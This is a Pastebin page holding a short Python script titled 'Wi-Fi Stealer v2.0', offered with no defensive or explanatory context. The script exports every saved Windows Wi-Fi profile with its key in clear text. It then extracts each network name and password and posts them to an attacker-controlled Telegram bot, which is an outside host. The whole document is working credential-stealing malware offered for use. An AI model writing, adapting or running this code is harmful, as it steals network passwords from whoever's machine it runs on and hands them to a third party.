Advertisement
Fsoky

Wi-Fi Stealer v2.0 | nobody

Apr 8th, 2021 (edited)
7,054
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.57 KB | None | 0 0
  1. from xml.dom import minidom
  2. import os
  3. import requests
  4. import subprocess
  5.  
  6. subprocess.call("netsh wlan show profile")
  7. subprocess.call("netsh wlan export profile folder=C:\\ key=clear")
  8.  
  9. for file in os.listdir("C:/"):
  10.     if file.endswith(".xml"):
  11.         document = minidom.parse(f"C:/{file}")
  12.         wifi = {
  13.             "name": document.getElementsByTagName("name")[0].firstChild.data,
  14.             "password": document.getElementsByTagName("keyMaterial")[0].firstChild.data
  15.         }
  16.        
  17.         #print(wifi)
  18.         requests.post(f"https://api.telegram.org/botYOUR_TOKEN/sendMessage?chat_id=YOUR_CHATID&text={wifi}")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement